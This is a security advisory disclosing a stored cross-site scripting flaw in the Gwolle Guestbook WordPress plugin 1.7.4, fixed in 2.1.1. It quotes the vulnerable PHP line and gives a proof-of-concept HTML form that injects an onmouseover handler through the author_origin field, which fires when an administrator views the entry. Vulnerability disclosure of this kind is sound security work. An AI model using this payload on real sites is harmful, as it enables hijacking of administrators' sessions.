WordPress Gwolle Guestbook 1.7.4 Cross Site Scripting
Posted on 03 March 2017
------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Gwolle Guestbook WordPress Plugin ------------------------------------------------------------------------ Radjnies Bhansingh, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Gwolle Guestbook WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure a WordPress user with editor or administrator privileges into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0033 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was succesfully tested on the Gwolle Guestbook WordPress Plugin version 1.7.4. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue was fixed in Gwolle Guestbook version version 2.1.1. The most recent version of Gwolle Guestbook can be obtained from the following location: https://wordpress.org/plugins/gwolle-gb/ ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html This issue can be exploited by an anonymous attacker that sends a Cross-Site Scripting payload via one of the input fields of the guestbook. These fields are visible in the guestbook entries tab. Whenever an editor or administrator reviews the entry the payload is executed. An example of this vulnerability exists in the /gwolle-gb/admin/page-editor.php file on line 434: <input type="text" name="gwolle_gb_author_origin" tabindex="3" class="wp-exclude-emoji" placeholder="<?php _e('City', 'gwolle-gb'); ?>" value="<?php echo gw olle_gb_sanitize_output( $entry->get_author_origin() ); ?>" id="author_origin" /> Proof of Concept A proof of concept attack is listed below: <html> <body> <form action="https://<target>/" method="POST"> <input type="hidden" name="gwolle_gb_function" value="add_entry"/> <input type="hidden" name="gwolle_gb_book_id" value="1"/> <input type="hidden" name="gwolle_gb_author_name" value="John"/> <input type="hidden" name="gwolle_gb_author_origin" value="amsterdam" onmouseover=alert(1) a=""/> <input type="hidden" name="gwolle_gb_author_email" value="john@d.oe"/> <input type="hidden" name="gwolle_gb_author_website" value=""/> <input type="hidden" name="gwolle_gb_subject" value=""/> <input type="hidden" name="gwolle_gb_content" value="hi, cool"/> <input type="hidden" name="gwolle_gb_wpnonce" value="<valid nonce>"/> <input type="hidden" name="gwolle_gb_submit" value="Submit"/> <input type="submit"/> </form> </body> </html> A victim editor or administrator then needs to open the following view page: http://<target>/wp-admin/admin.php?page=gwolle-gb/editor.php&entry_id=13 ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.